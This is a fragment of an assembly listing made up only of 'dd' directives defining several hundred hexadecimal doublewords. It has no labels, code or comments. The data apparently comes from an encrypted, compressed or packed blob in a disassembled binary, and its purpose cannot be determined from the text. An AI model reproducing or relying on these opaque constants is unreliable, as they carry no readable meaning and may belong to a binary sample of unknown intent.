		dd 0EA7AB9h, 0F0E26FFFh, 0F9EBFED0h, 24439F00h,	391D7E92h
		dd 54A30782h, 0FE6FC0FFh, 0E8009629h, 5683083Dh, 27939D0Bh
		dd 8A610FA1h, 6900F810h, 0C2ACCAEh, 57180029h, 0E99CB79Bh
		dd 0FD001FF9h, 38C9AA4h, 0F8243693h, 263000B2h,	1F3A557Fh
		dd 0C400FBE5h, 0F0173D8Bh, 687DFDh, 39BBEBAAh, 54E38831h
		dd 2500DCF4h, 0AB8216Eh, 9D288Bh, 83C708E6h, 0FDB170CCh
		dd 6D359307h, 5310A00Dh, 7FA2F138h, 1C5A0042h, 1B18D5ABh
		dd 0B3007C95h, 5762BAB5h, 6B311Fh, 1037932Bh, 0A56FF14Bh
		dd 0F2088A00h, 1CB3FE42h, 7A6B0080h, 16F91325h,	6E0049D9h
		dd 1B59CEDBh, 71E529h, 4BFE7C10h, 0D6F9FC44h, 3AFB483Ch
		dd 58880089h, 479D98B6h, 3AFF0A66h, 0A8A98Eh, 6861328h
		dd 41008AE7h, 7A713F49h, 9CF79Dh, 0C96D8215h, 846AEB3Ch
		dd 81DA3800h, 25613B51h, 0D2E5030Eh, 72B68E75h,	0FCC89FD8h
		dd 0DDB0EA60h, 3B77933Dh
		dd 143D08AEh, 76E1E700h, 851BB027h, 0FCB81700h,	0B7D61104h
		dd 75970025h, 0C24679B4h, 0ABFEDFD4h, 0A0C96303h, 0C84E454Ah
		dd 2A8108h, 1A206751h, 57B1D37Fh, 0ADCD3A00h, 60422E83h
		dd 1EC61F92h, 7E264055h, 40F3FABCh, 220431F0h, 49785790h
		dd 3CCD8CC1h, 0B387F0h,	0F2EBC0C9h, 0B66BE9CFh,	0DCE558h
		dd 2C691C31h, 3045CE0h,	0CD90DAEBh, 0D390D582h,	427E890Ch
		dd 0EC4E4A00h, 0E296FEC3h, 7ADF6DFh, 59E338D7h,	5717A0BDh
		dd 0F80083CEh, 9D6E2B3Bh, 3D229231h, 0CA80D432h, 889AADFDh
		dd 6900139Eh, 0B80CCE15h, 50547528h, 829C9Fh, 35762462h
		dd 0DF98F7BCh, 846DDC00h, 0A1F3741Fh, 0D259009Fh, 0A849DBC1h
		dd 0FC708120h, 0E5C04350h, 1E059242h, 0FBD8DAh,	6C6F28B8h
		dd 0FE00030Eh, 9972C362h, 2C71F13Bh, 43E427h, 0B5B7618Eh
		dd 1400F476h, 0DCD5E536h, 757D1Ah, 4CA9DB97h, 35AEEA34h
		dd 0C7861600h, 1895DCD9h, 2FDF3961h, 5C503BD8h,	0D11B0384h
		dd 1D98BD60h, 0FC5425E8h, 0A39CDB04h, 908C224Eh, 0C8821DA1h
		dd 0D627403Eh, 784839E2h, 10C3BF03h, 0E05A9644h, 1FB86Dh
		dd 71F49750h, 49B4EFA3h, 0FB1B4C00h, 0ED99EA08h, 613D008Dh
		dd 0F30D6250h, 0B01A2A6h, 0FC39E842h, 0AFC011CCh, 0EFFB009Ch
		dd 0B6545089h, 3200C2A9h, 0E133AA1Ch, 30946Bh, 0FF25DB34h
		dd 74617E96h, 0FCB74B18h, 0EC2870h, 0DCD4CDCEh,	5C32C8A2h
		dd 16B83F50h, 1C7C6D00h, 1D6B0E9h, 0C87078Ch, 2763B5Bh
		dd 5FD6A3C8h, 91002024h, 8964C407h, 0FAD8141Bh,	12008C2Ah
		dd 7310CF59h, 1C74E117h, 980065E6h, 0D3F153B6h,	1EDDC49Ah
		dd 408E1564h, 310758FCh, 7B0091A0h, 44608C28h, 0F4329FFAh
		dd 6681DB1h, 0C57E099Bh, 0D0A4D600h, 0FB0063CCh, 0E6475E52h
		dd 0EFFF90h, 3F670B79h,	0E43197EBh, 16DE2C00h, 9E2D69A1h
		dd 25F200B5h, 9DEAE135h, 0C8012A1Eh, 0D08EF16Ch, 0A7EC2465h
		dd 0A3AB3088h, 95EFC7BAh, 0AE00009Ah, 0BF852575h, 0F2A71D3Eh
		dd 26401F20h, 95F8015h,	0AA3CEDCh, 524CC100h, 3E5C1833h
		dd 0EE8D1AD0h, 84853485h, 8498146Ah, 0E88BAD02h, 54409596h
		dd 77004CD3h, 4F85023Eh, 0D0B236h, 2B26CF63h, 0D231EE60h
		dd 5171AB00h, 0EABFD685h, 38A7E6AAh, 4000E51Ch,	0C87355B8h
		dd 3B605628h, 0CF7241B0h, 0ED5000E4h, 30D07D02h, 92CB5DCh
		dd 28816FA4h, 456D6516h, 0BA3B053Eh, 0F6BD8074h, 0CDF501B4h
		dd 8EEAD45Bh, 7F0EC800h, 0AE1F661Dh, 1F60F96h, 0A78058D6h
		dd 0C1D13169h, 0BEA8D901h, 7F603C8Fh, 7C1830h, 0EBCE7E5h
		dd 0AC2CE364h, 7A1EF3Fh, 4A9D9B1Bh, 8BB00A70h, 0F8F21E38h
		dd 4F4D8930h, 0C119B400h, 0C800C0B2h, 961EAC4Ah, 8A95BFh
		dd 0B4DCEBBEh, 0ABE8E1AFh, 4E83B500h, 477AA864h, 0B9A40082h
		dd 5613DD60h, 3F002F9Bh, 72550B5Fh, 9E61B2h, 0B9FD2A31h
		dd 93D091D5h, 809880E4h, 0E906710Bh, 4D3023Ah, 78EC48F6h
		dd 7C000BEh, 4348A149h,	30E92FA2h, 0E00F9A0h, 24FE41F0h
		dd 9F8BC31h, 0F4CFA68Ch, 98C66400h, 731ED16Bh, 0DCC00ADEh
		dd 0D66279C4h, 7CB1019Ch, 0EA3037D2h, 16A02094h, 0BACDC507h
		dd 3FFEDDh, 0AB1F26E4h,	0D26D00D1h, 333C3540h, 0F07C80Ch
		dd 6B953464h, 7DCFC00Fh, 7ACF6D4h, 0F01BDC6Ah, 0CA6E0142h
		dd 62EE20A8h, 0BE249371h, 0F601F457h, 0ABF5F253h, 0FF131180h
		dd 18AD7A1Bh, 0B1AA011Ch, 0EADD4540h, 0B5B0EDh,	64E63BCFh
		dd 0FA31B3F1h, 84C7BD24h, 24ED003Eh, 34A46246h,	7AC7AD8h
		dd 0B29ED27Eh, 3C275036h, 0B9008506h, 8C7F973Ah, 17CE2C8h
		dd 896D21D6h, 0E476949Bh, 0B2EE88D7h, 0C5727D00h, 4F64976Eh
		dd 0C1EAE6h, 4CC05A49h,	0A60974FCh, 0FE408400h,	0F39F5E70h
		dd 0CFB238E1h, 0A164E900h, 0E222C87Ch, 60DAC201h, 0B63D2B99h
		dd 0D6C0AFD5h, 0A43A5006h, 0F9620054h, 0F40E46ADh, 9F014E3Fh
		dd 9C3879E4h, 53F49AF0h, 90D298FEh, 64FC003Fh, 9679E935h
		dd 0AE3E341Eh, 0A37500F0h, 0DBEFBBC4h, 126201B9h, 71D61D3Ah
		dd 2E9EE43Bh, 6A39100h,	4BF8471Bh, 0BAB858h, 0BF56F2DDh
		dd 0C69C67C9h, 786D1A00h, 35D4D8BCh, 0E4210010h, 117F38Eh
		dd 300AD05h, 0F837BA69h, 338B96Eh, 6A8B26DFh, 5F8820C7h
		dd 0DA000213h, 4AEF3F58h, 0C759Eh, 0B6959860h, 51250465h
		dd 0A169EA00h, 0BA061A0Bh, 6D7400A3h, 0E25E338Ah, 0E1F2351Bh
		dd 0EA4ED800h, 413056DEh, 9B3C042Fh, 0C0701339h, 424C1481h
		dd 23F62472h, 0A5AAC800h, 5E8AF543h, 24B8FCh, 597FBAE4h
		dd 67AF5445h, 0C9652D01h, 900B1102h, 573FF0h, 0B833B423h
		dd 0FD72B99Fh, 0A53E0300h, 6A2B6982h, 330E68Ch,	60971B73h
		dd 100F91DBh, 80A0B5BAh, 0EA4CC8F8h, 6DE5021Dh,	9E745B55h
		dd 9FB76C60h, 32723000h, 2CB2E429h, 0EE7AF6CDh,	0C8D9009Eh
		dd 0CBD1C617h, 840F6FA9h, 0C0E6D2A6h, 2A72338Bh, 70E21E9Eh
		dd 3D21C019h, 6E47D63Ah, 0AB150100h, 8C5F4914h,	1767275h
		dd 16EB9824h, 0F433EAAFh, 0EC1C571Dh, 0A00BD52Bh, 0FF4483B0h
		dd 0B458E84Ah, 905E6C9h, 0EB157B85h, 50C05A8Eh,	9AF304CDh
		dd 0B1E83F00h, 2D9F5ADFh, 950912C2h, 45A803D8h,	0ECA0C08Eh
		dd 0CF006C50h, 5B89359Eh, 121E678h, 197CC768h, 60FB2623h
		dd 2C00F358h, 3DC6B127h, 0B84C3920h, 0E4AF009Fh, 0E60B54E8h
		dd 2F00FB9Dh, 2980C85Ah, 95A383h, 0FF6AF7D4h, 984ACEE8h
		dd 255D3100h, 0B3BE52FAh, 0EB860130h, 7A8261AAh, 8770F594h
		dd 90EF3C10h, 5D97B531h, 9C4860h, 0AE022B40h, 0E00F05A8h
		dd 0C8CEF330h, 1306D37h, 0C618C9EEh, 34B23F06h,	0C4002944h
		dd 6664147Ah, 9D090B6h,	0A3826FF8h, 126A2A01h, 87A8FCC1h
		dd 0B96CF300h, 5A5E86BBh, 44C00EEh, 432C5197h, 6901D7D4h
		dd 3CA787E9h, 90B9D01Eh, 9EDCD683h, 10016A39h, 0E605367Ch
		dd 2A00CFF7h, 300E570Eh, 7319A50Dh, 896CB702h, 35CC40FDh
		dd 0BC830BD4h, 32801480h, 5CC313CCh, 64FAC87Eh,	70776F09h
		dd 1798A35Ah, 0C041FA42h, 2F03E8h, 0BC5338A7h, 0FDB4F050h
		dd 0CAC7201Dh, 2025A54Eh, 0B1EB5468h, 9917079Dh, 6023D926h
		dd 122C2FE6h, 2DC08701h, 0CBF2E195h, 5FFC7D8h, 47271866h
		dd 528880DCh, 940BB8EAh, 0A06301h, 84328322h, 67A50786h
		dd 70FCBA77h, 16FAAC74h, 0F46BAA07h, 5E10ECC9h,	0F347613Eh
		dd 0F352C8h, 26EE2268h,	37F85BB9h, 0E7FF1C1Fh, 6F7B80F9h
		dd 980EB2FAh, 164400DBh, 8DFD96A9h, 0ECF840BEh,	23D6E200h
		dd 9F0A1FBCh, 794800C8h, 6B2EE4B4h, 89008D69h, 0BAF2D6ADh
		dd 14CC33Eh, 6678955Fh,	0E8E242A3h, 0F500F1ACh,	8C6CD202h
		dd 7326AEC2h, 97D3005Ch, 0CD960A7Ah, 279D987h, 0E4B17C0Eh
		dd 76D6E3D4h, 0C380E011h, 0F3423A12h, 3CD1AE00h, 340C67CFh
		dd 0FF9DD00h, 525EC22Ch, 0FF6F03A4h, 2DD34F94h,	3F32AAC8h
		dd 8649B500h, 7C4BB208h, 64EB00BCh, 3E524AC7h, 4200F50Ah
		dd 9B06FE23h, 0F90307h,	0FAF30BE1h, 0EE8FF660h,	895D3218h
		dd 1F19A0B0h, 80B4AC4Ch, 76D5D4FDh, 6A007962h, 0C82DCC7Ch
		dd 0ACA2CFh, 291D3728h,	36CE9E48h, 9A69C903h, 98DD1520h
		dd 96FF67h, 0DE85A453h,	37BBBF90h, 7AB84A00h, 4D4CB4AAh
		dd 56A80688h, 78271A54h, 0AC450400h, 1DD6F767h,	28627D2Eh
		dd 0D08E31h, 0B1B81C63h, 0E55EA3A5h, 64D899C0h,	28B7BF57h
		dd 9433E1h, 7C289665h
		dd 9A879083h, 9800A3FCh, 0A8A41F06h, 59FE1CBh, 0F071BEAAh
		dd 0F1CA00D3h, 0A4DD7004h, 4526BC1Ch, 37FDDA40h, 6D9C4C7h
		dd 0E0176DB8h, 0C80F8966h, 407A0773h, 2922B08Dh, 1D809AEh
		dd 7200D199h, 76CFE92h,	9A85700h, 86E9F6DFh, 0B57669h
		dd 0E0914EF5h, 423F8F7Dh, 0E4D2851Eh, 62EA19C0h, 523BCA0h
		dd 0C0B95617h, 55F40057h, 64495299h, 4D3AA8EAh,	22619F02h
		dd 78D210F0h, 0E2400B9h, 1F77DC05h, 0DB001225h,	22F54E4Ch
		dd 0ACC581h, 1EDD7359h,	0D25A638h, 8EC29A03h, 0B73445B8h
		dd 0CD9581F0h, 973F034Eh, 0A64FED6Ah, 0FA8ED3C0h, 5AC7E09h
		dd 90C00C1h, 1D1E4BA5h,	0BAD6EBCAh, 98F592h, 9233D474h
		dd 35283722h, 6A17CCDCh, 6200627Eh, 87C988D8h, 38170201h
		dd 0B90D2333h, 64329CA2h, 909191C0h, 49418C66h,	3D40C0F8h
		dd 1279899Fh, 0DB04767Ah, 0C1D1C77h, 0E06447C3h, 751540h
		dd 953CF67Dh, 5901DDEAh, 8DF56700h, 51C3845Ah, 11400061h
		dd 4C1E7509h, 83051B32h, 65058517h, 0E49AFEC0h,	1266EAB3h
		dd 86F85Dh, 67DD4B3Dh, 0BB1D57B5h, 1803D4D0h, 0B09778A7h
		dd 74AB3B13h, 0E159000Ah, 4500F9Dh, 0D1007CF1h,	20B3E3D5h
		dd 266185B2h, 91A79Bh, 0C8E947EEh, 773BDFCCh, 78ED0003h
		dd 0F3FBBCAAh, 0F8B2035Ah, 12304F62h, 0E7320898h, 23398500h
		dd 8EDBFF0Ch, 9A050067h, 0D7070D88h, 0A5004953h, 717FF6D4h
		dd 7368BC2h, 0BF9F34D0h, 4A05A0F9h, 940013E9h, 3A47EBBDh
		dd 0C0FFE6B1h, 2EEC5AD8h, 8F48D477h, 1F0700E8h,	0BA8ECB3Ah
		dd 7B252C89h, 0FDFC007Ch, 7290180Bh, 4EDD0303h,	0B8D7C6DCh
		dd 0FF1F01h, 0A30734D3h, 305CC081h, 1244FD0Fh, 5780DEC3h
		dd 98E18878h, 0ED46009Bh, 7220CF34h, 0E80069F8h, 4BABB17Fh
		dd 1278BE4Ch, 3E93C1Ah,	6AA246CBh, 9CEF22B8h, 0D6A61200h
		dd 86B91301h, 9D09A8Dh,	97DD0999h, 538B5987h, 90D09294h
		dd 3005B77h, 0AD1D9D0Bh, 0B93B79h, 0D9D1B36Eh, 0BAC87170h
		dd 0C3C17A01h, 192349D5h, 0FA14D0h, 0DA97635h, 0FD793CECh
		dd 0E268BF07h, 9CD02D7Fh, 2CD09EEBh, 7B8284h, 0A6C6B00Fh
		dd 0C0ECCD9h, 0E0C02A65h, 34DF7CF4h, 3F00060h, 0C15F71D0h
		dd 74003004h, 1AB311D1h, 55B821h, 474DE970h, 8EFE36C0h
		dd 9FE8D800h, 113B8C1Eh, 0FC6EE465h, 0CF1A004Fh, 0BE32A293h
		dd 0D7002E0Bh, 5F709096h, 2C47FBh, 9F8F6223h, 421EF031h
		dd 0A740F400h, 76035FBDh, 998A00BEh, 612B0810h,	0CF0FE825h
		dd 827BB678h, 4086155Eh, 290F760h, 0FE5F8848h, 8A8040F3h
		dd 0E5B09D96h, 55201B07h, 0BD80989Eh, 0F4271EDh, 5AD258B1h
		dd 91573600h, 9C00D033h, 51BACF2Ch, 26645E1h, 9E7263ABh
		dd 6960B590h, 0DD1D56FEh, 3EC01296h, 5EEA4606h,	0BC850187h
		dd 0C9A3D5E0h, 75BBD419h, 0CE40B107h, 0C0D0314Dh, 3D92E405h
		dd 0F835A2h, 0EA30641Ah, 4B8A3E61h, 5D00CF71h, 22104665h
		dd 0E1266h, 0E6BCD039h,	7EF6EE56h, 78AB4Ch, 0D6365E95h
		dd 8343FCh, 0F8D79750h,	7A64A9Dh, 25265F00h, 0A0040DFAh
		dd 0ACA80F29h, 10813573h, 7167999Ah, 0D3B081C9h, 0D7BC5D80h
		dd 2DF080D6h, 9DEDCFh, 7D56C031h, 6B3B45E7h, 4FEA0400h
		dd 9A21B8D1h, 84A10709h, 19E0BAh, 0CD566A2Ah, 0B01F6903h
		dd 80C11138h, 0BB828Fh,	0B13C1613h, 44B88018h, 812A5E00h
		dd 793539EBh, 45910071h, 86072F54h, 9D009C63h, 0E78FF465h
		dd 0FEC998h, 5E311E22h,	9FBA7601h, 69A37900h, 5533BFF6h
		dd 44CD0FA7h, 1B41999Ch, 0E8A40EE7h, 0C5061398h, 0CC3834D6h
		dd 6C260020h, 62DA7FB8h, 0ED14DB02h, 805BA0h, 0E6644774h
		dd 0AC264Bh, 31FCBB9Dh,	91144219h, 0A27AB500h, 0EBC574D6h
		dd 0A31A072Dh, 0E04DE156h, 4CD1CA79h, 0A1009470h, 0E59CFFDCh
		dd 3ABAAA8h, 0C7F76150h, 0EC9836F2h, 0F3007BCBh, 184E8583h
		dd 0AA572F4h, 0AD86674Ah, 987F85BCh, 0BD9806Fh,	8F00B765h
		dd 6E542870h, 1CC2A41Ah, 4047D12Eh, 2C61F38Ch, 3C037D5Eh
		dd 237B6C96h, 42B880F2h, 55DA001Ch, 0E0B6CAD2h,	70EC7A80h
		dd 93670600h, 68401378h, 37F40004h, 120935A1h, 55014D72h
		dd 0C27AE46Eh, 11F42A57h, 6B2C00BDh, 4592C8A5h,	0C004464h
		dd 17D39C43h, 0B8B4B7h,	0EC587868h, 79C57E0Eh, 0F84B3403h
		dd 0E0B7A5E3h, 91B917h,	9DA10C24h, 109C2BEEh, 81701E38h
		dd 9AA0318h, 5DC81D41h,	443600E0h, 0C935D681h, 4E0061CBh
		dd 0AD6A9879h, 1D5D4AD2h, 0C19C2AD1h, 53F7644Dh, 21E7E9B1h
		dd 14A80029h, 0D9007083h, 1C0A99FDh, 275FFh, 188B08B1h
		dd 11E3D0E7h, 108AE500h, 19EC62Eh, 906C00C7h, 0AD6BC894h
		dd 0A000D75Dh, 56F62272h, 1F895BBFh, 0C06DA7F5h, 82087FEEh
		dd 0ED007758h, 66CF670Fh, 0DC4378h, 0AC055D39h,	6984DFDBh
		dd 0F58814Ch, 87C7D2B0h, 0B642D83Bh, 5304609Dh,	0D13204FCh
		dd 0C003E36Dh, 761C1528h, 10BFB8A0h, 161D9E00h,	0A6A7BA65h
		dd 0E26B4CC4h, 0B9E60C00h, 5335B48Dh, 77026D98h, 0D284BBF5h
		dd 0FC80A492h, 9662888h, 0C3A3ABBEh, 650E8E80h,	9D00FE08h
		dd 0B4B26A3Eh, 1FBE199Ch, 0C75ED82Fh, 0B15F7333h, 0F1A46DE8h
		dd 0C403E0C3h, 0F2526902h, 0C0395A23h, 24B038h,	0DD1C848Dh
		dd 6A30A83Ch, 0E7370E00h, 0F03B8F39h, 2CD40F5Ah, 0E0623646h
		dd 7C64E30Fh, 4882D100h, 0EA86EFF8h, 24FC58C3h,	6CC24904h
		dd 0BA05806Fh, 890A304h, 1C8B9100h, 2D1EF4FBh, 86680012h
		dd 0B05980E7h, 61488D9Dh, 46F809D8h, 0CF7D07F5h, 6325E290h
		dd 3AFD0FD6h, 32AFCE77h, 0FF80EB0Bh, 214E7D7Fh,	454A5D01h
		dd 42BB7B58h, 0B9128DCh, 0EE3C4FAFh, 0F5B78A80h, 787359BDh
		dd 0F702EA1Dh, 0BBC7640h, 2362C64h, 0DAD45F18h,	0C2C06043h
		dd 94002E9Eh, 7DCDF97Ah, 3961093h, 5C280EB2h, 9AC8084Bh
		dd 0A804D3C6h, 4603AB80h, 79F40980h, 3EC2000Bh,	0F1E1C4E9h
		dd 0B117932Ah, 4F0E37A5h, 605B0EA6h, 0CC21F540h, 0BBC50328h
		dd 0CA2EDFA4h, 5E0765C0h, 9D921100h, 0F8DD1246h, 2DC2006Fh
		dd 0ABC074DFh, 7C00E5EAh, 6BD2E10Bh, 529734h, 47356F1Ch
		dd 0ECD1451Ah, 9EC27600h, 0FB138039h, 86D01EA2h, 0E98200A9h
		dd 1B5FBEF1h, 77683400h, 8D609397h, 1EAF00E7h, 81F9B5BBh
		dd 8F0094F7h, 0B43EA7B1h, 1C7CF330h, 7D0EB9F5h,	0EBF18180h
		dd 416D7BF7h, 7C4084A2h, 0A10797DBh, 12A05574h,	8059D952h
		dd 631DE5E5h, 77BC009Eh, 8C8494C0h, 0EC1CA40Bh,	58C0BA15h
		dd 0F45C571Eh, 50D30329h, 92546369h, 40F701EBh,	0B5D5646Bh
		dd 0CA2F4700h, 0F2BB4825h, 3C6C7C1Bh, 2E071DCBh, 616E9AEBh
		dd 47EDE4F8h, 0B09B27F5h, 91B57AD4h, 187473Eh, 57D69617h
		dd 3C210190h, 1EF9A8ECh, 0FD8335h, 7A0DCC1Fh, 0D0008794h
		dd 38E068D5h, 0E81CEB8Eh, 0BCAD0CAEh, 0CB9091D3h, 169A88C0h
		dd 44C0EBBh, 0DCEBE038h, 47BEC059h, 0A0C3A02h, 30AE9289h
		dd 2A2B0654h, 0C8BDD51Ch, 0E3576A09h, 267087E7h, 4991DDA0h
		dd 563B2C7Eh, 0B4AA0002h, 0DF971E68h, 0D2A0C00h, 33F86477h
		dd 19E7D37h, 1665B3CCh,	0CBA9AD8Eh, 1469B6A0h, 75AEE705h
		dd 9C43433Ch, 0B8E4C496h, 38CE18h, 2988E3CFh, 75F0A8C7h
		dd 0E5A0080Ch, 40B2A8A2h, 177C119Eh, 63131003h,	0A38FD0h
		dd 3EABF648h, 0A61C5DBAh, 0A56CF00h, 0A76689ACh, 15640C71h
		dd 92407EDAh, 24229700h
		dd 792981C0h, 0F2982E69h, 6DAE0064h, 0A872D7D3h, 8032B03Ch
		dd 0EB42A6CBh, 0D6593Ah, 679D5296h, 39577782h, 81E47A03h
		dd 0E816E949h, 0C9F2C8h, 7796D50Bh, 915117Eh, 1B6B70C1h
		dd 0B450A4D7h, 54012F13h, 0B28030h, 0A210FA5Bh,	788D1F2Ch
		dd 40ED8130h, 1CF699ADh, 0C7750CBEh, 501343C9h,	470FDF5Dh
		dd 0DEEA7005h, 0D7C044A3h, 0EFD3003h, 1569CF87h, 0D0ECCC65h
		dd 0AFA5E7E8h, 4E52B2Bh, 0D0292D70h, 0B1F00448h, 6120E606h
		dd 583C04A0h, 4021D3BBh, 4E04CA89h, 3EAF3AA3h, 631C2B28h
		dd 74E1083Fh, 28EC381Ah, 44200F10h, 0D3873272h,	210B0230h
		dd 0E6BA3333h, 965BB98h, 180A2250h, 4F9B4C2Ch, 0D978A669h
		dd 536A1860h, 8961231Ch, 0CACEBE10h, 10175059h,	0AB9460CAh
		dd 8F04D008h, 0CBDA8006h, 0C612CE04h, 0C874FF81h, 4CCA6881h
		dd 0A9362B1Ch, 8408A013h, 14B0510Ch, 4C434BF1h,	662029ADh
		dd 5052BC40h, 45C4CEC0h, 2601A737h, 9B6D889Fh, 7053F601h
		dd 0E6081E2Eh, 0E52A47A6h, 0FC21983Bh, 60041D5Ah, 0EFD8C1B5h
		dd 0DC0FF48Dh, 9DEE22FCh, 18602F10h, 0D9ECA90h,	0D6C63200h
		dd 0A29F16F8h, 651FE0ECh, 0C03741C0h, 896A5C41h, 51A45730h
		dd 637D555Eh, 0ED8E3831h, 0CA305077h, 9E6020B3h, 3049C0AAh
		dd 939A570Dh, 7BD72601h, 0DDEEB605h, 888017C9h,	0FEDFE04Ah
		dd 70C0D9C0h, 110D548h,	8A8E009Eh, 0FEA5CB8h, 0C6003071h
		dd 0FBEE7535h, 7AE6E1B5h, 54780123h, 1F094D15h,	1C089D04h
		dd 70009B17h, 0A88ECC19h, 3C11E851h, 20154A7h, 8875931Bh
		dd 1088723h, 808F9228h,	0FDB0EC25h, 4805661Ah, 28745129h
		dd 1D68F700h, 52FA7788h, 18F8C7h, 13BC78CCh, 3DCE85C1h
		dd 0BB0089E4h, 9A5B2524h, 64349E6h, 401F8E2h, 200178CDh
		dd 3066714Ah, 0A7EBA8DEh, 53F8B7B0h, 318501C6h,	4AE7CB49h
		dd 0CF444009h, 0FC039C3Ch, 8EA514AFh, 844800CBh, 91816C1h
		dd 5F00479h, 4AEB8105h,	601E9E08h, 0BC871E5Fh, 0F88CD029h
		dd 0CD80019Ah, 0C013F103h, 0BE6860FCh, 0E130B1E9h, 28D0F6FEh
		dd 25D130CAh, 9083CC18h, 0E800CDE0h, 46C8F56Fh,	50355A82h
		dd 50A81096h, 50A6B0FBh, 0A2455079h, 16B005A8h,	367AC06h
		dd 0E13000A8h, 1F2C715h, 0BA18C00Dh, 27504E24h,	0CD051519h
		dd 0B0D0A811h, 72F9FB00h, 7DBEFDA1h, 0E484E22Ah, 0C1B5EC30h
		dd 29F43ABCh, 62B8DB8Fh, 0C6193B1Eh, 20CBC317h,	8DA0E7D3h
		dd 24775D4Ch, 1ED97D58h, 2D40CA9Fh, 0A30C0802h,	12C30F20h
		dd 589819A7h, 18506DC6h, 0FE03B0A4h, 1F34317h, 0E3A0E3E4h
		dd 27A4F0A3h, 3CCC78D6h, 0B3809B13h, 4C90C114h,	5A012616h
		dd 3F1E6938h, 0ECFDA9D2h, 0C01D5024h, 28BC0CB9h, 0E8CACA59h
		dd 0C5119062h, 0FFA8820Ah, 84D695B8h, 874D8500h, 10485A19h
		dd 0D820B4A2h, 7082CA46h, 0DF00C8E8h, 53174C01h, 7946854h
		dd 2877DBC1h, 2C1B20F9h, 9B303207h, 0B84D2012h,	11E230D5h
		dd 18C8D430h, 503F51F6h, 972060D7h, 0C4C57D1h, 12787906h
		dd 2AB82A28h, 33B4F0Ch,	3ECD4816h, 0A28E5297h, 4DA0987Fh
		dd 3EE1D317h, 0E03062E8h, 50A229ACh, 0E4C0021h,	990668B0h
		dd 3D06CDFCh, 6A659695h, 545F2040h, 8F91DB00h, 3487B918h
		dd 9198F7F9h, 52892966h, 338E9988h, 0D339611Bh,	7A059AA0h
		dd 58A85E78h, 63746260h, 30E0641Fh, 8800482Ah, 515CC814h
		dd 36B908Bh, 0E8FB5807h, 801BA199h, 20124Bh, 8675E3B0h
		dd 3E7A04F7h, 8D84D60h,	1F52F337h, 15063F97h, 0DD01A8A7h
		dd 0E9639612h, 4B8050ABh, 84140C52h, 0C8B0EC50h, 0B1859B55h
		dd 3FCA8848h, 80396965h, 90DB2BD1h, 99760014h, 55317CAAh
		dd 0DF00520Eh, 0BC919532h, 5492A25Eh, 651B8C71h, 2067109Bh
		dd 16953F8Ch, 2F303878h, 0B97D8105h, 22D07061h,	60E69D6h
		dd 3E601690h, 518C01Eh,	3925278h, 82949313h, 4128ED51h
		dd 0D4F89A06h, 8DE1E80Fh, 121F0005h, 504B555h, 7675FDA9h
		dd 67980890h, 7D40B49Dh, 51D4B68Eh, 234219E7h, 0C0430688h
		dd 56245357h, 7340041Fh, 3AA86B7h, 12A5B675h, 8309ED4h
		dd 900EE96Fh, 0A07C87h,	0E17BD90Bh, 0F91EAB01h,	3D75B300h
		dd 0A0C11BCDh, 6C5A0386h, 9A69793Eh, 0B2472018h, 1511E690h
		dd 805FBCC4h, 52657400h, 0F3590645h, 5D3600Eh, 214F8CF2h
		dd 525D0093h, 79BA4830h, 1B021A8Eh, 9B3BF6B4h, 0FAAC4815h
		dd 944A300Ah, 0DC8B6068h, 9B3C6301h, 882CD4B5h,	13F9FF4h
		dd 0BD6CE250h, 21897012h, 0D176C0FFh, 0D5064400h, 5216AF69h
		dd 78F7F0DAh, 570E00BCh, 0B532EC7h, 0E372DF56h,	9B2F0A00h
		dd 75A78F90h, 3D8600D7h, 0E0E805E4h, 4D007DE5h,	508A26BFh
		dd 4F69F5h, 0E380CDD6h,	15BE7A0Ah, 9F235700h, 5B3F0F1Dh
		dd 292B00E0h, 913596CFh, 0AD0181C6h, 1AA4D8F7h,	2DDD4661h
		dd 5AD0DCh, 4A04A1Fh, 6BB3A241h, 20E28100h, 0D2498DF5h
		dd 0BD9E0105h, 0CA2D55FBh, 0A8C020C6h, 1E8E7303h, 0FB159476h
		dd 0AE0CC9A7h, 0D3A380FAh, 0F8149B21h, 1982FBA4h, 0F23CD7AAh
		dd 32BC5840h, 30D233Eh,	365BF31Ch, 128A627h, 12CBC9DAh
		dd 0DC38C57Eh, 397B6CA5h, 67211660h, 178CBBCh, 1F95E68Eh
		dd 81149AFDh, 0BD0CF260h, 7180A988h, 0CB2BC5A7h, 285C15D0h
		dd 0DA04183Fh, 2F4E29h,	1F475DECh, 673F1807h, 0FB4B08C6h
		dd 617B0020h, 7FC25AECh, 3D300FA3h, 7DAE18F1h, 26D17FDCh
		dd 0E9AC94h, 0BC03FB21h, 0B62EE9Dh, 60596078h, 24C7AFh
		dd 27048351h, 5F11AB25h, 0A5A788C1h, 9880DAB7h,	899BB41h
		dd 1A00024Dh, 1E186116h, 7AF250h, 0DE6E23DBh, 5E40ACA1h
		dd 651AD400h, 0EF9D3FD5h, 0F82D90D9h, 192B007Fh, 34FFEE20h
		dd 6B0755E3h, 0DDA6357h, 10F5AE31h, 0E03325C8h,	3710002h
		dd 2ADD8F5Eh, 0F900F39Fh, 0B84A38BEh, 65E7DBh, 0AB117B08h
		dd 3BB4D571h, 0CF41F500h, 0F7E678D3h, 0E9900059h, 6B9ED2DDh
		dd 2674F973h, 7FD7120Ch, 0C0A3087Ah, 72A15021h,	0C2010F8Eh
		dd 0F21C5A56h, 3CD0248Ah, 0B07F17h, 1247ECE1h, 0AA5B372Eh
		dd 5426D11Dh, 0D485E603h, 0D2FA011Eh, 0B71F3611h, 2010F305h
		dd 0FE3CCA5Eh, 0FB98686Ch, 736F028Ch, 4D4B27EDh, 80EA3A18h
		dd 730C954Ch, 10BE0622h, 0FDCC03FEh, 2C1C4120h,	82F071DBh
		dd 0E6064A44h, 0D52E23DEh, 347E6070h, 37560457h, 0F690BB63h
		dd 0DE8006E9h, 28C71643h, 0D5271100h, 403DAB66h, 340C00C1h
		dd 0FE82C999h, 0EF006C38h, 10CBC215h, 1E64950Fh, 0C01233DDh
		dd 0A97EF47Dh, 72001190h, 0ED3FDF1h, 0EED45Dh, 9E67BA99h
		dd 44567046h, 9883BD00h, 0D2E775A9h, 0F6AD009Dh, 4FE90F92h
		dd 0CB0041AFh, 9BF505C2h, 5321DCh, 0B9020695h, 6EF84DA0h
		dd 0D208A00h, 0F0C33FAh, 0E8772ECFh, 1C8D0314h,	23B04925h
		dd 0EB0514A4h, 0A3262EF0h, 0F6C195C0h, 73DE0005h, 0D8C6DB0Bh
		dd 0A6001C7Fh, 0FF6E3150h, 7CC9E71Dh, 11460041h, 1F073F6Dh
